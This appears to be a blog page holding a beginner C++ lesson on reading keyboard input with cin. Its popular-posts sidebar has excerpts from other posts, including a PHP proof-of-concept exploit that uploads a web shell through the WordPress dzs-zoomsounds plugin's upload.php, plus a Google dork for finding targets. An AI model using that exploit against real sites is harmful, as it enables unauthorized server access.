Skip to main content

C++ Input

C++ Input - The last lesson, wriiter has sharing how to Printing Text C++ Using COUT Syntax [Basic Lesson]. And than now wriiter will explain the concept of C++ Input. Before explaining concept, you must have kwonlagde about Data Type in C Programming.

Basic concept of C++Input is :

  1. User inserting a value
  2. The value will saved in variable
Know you can analize the concept. Below is the example of input and output a value.

#include<iostream>
#include<stdlib.h>
using namespace std;
int main()
{
       int a;
     
       cout<<"Insert Your Age : ";
       cin>>a;
       cout<<endl;
       cout<<endl;
       cout<<"Your Age is "<<a;
       cout<<endl;
       system("pause");
}
After compiled and run. The print out of it is at below


Below the explain of syntax :
cin>>a is use to inserting a value form keyboard to the variable.
For other syntax, you can read in Printing Text C++ Using COUT Syntax [Basic Lesson] article.

Its a simple example of C++ Input. For other example, you can download here.

Paper 4Share - C++ Input

Comments

Popular posts from this blog

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How to Install CloudSim in Ubuntu (in 3 easy steps)

The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...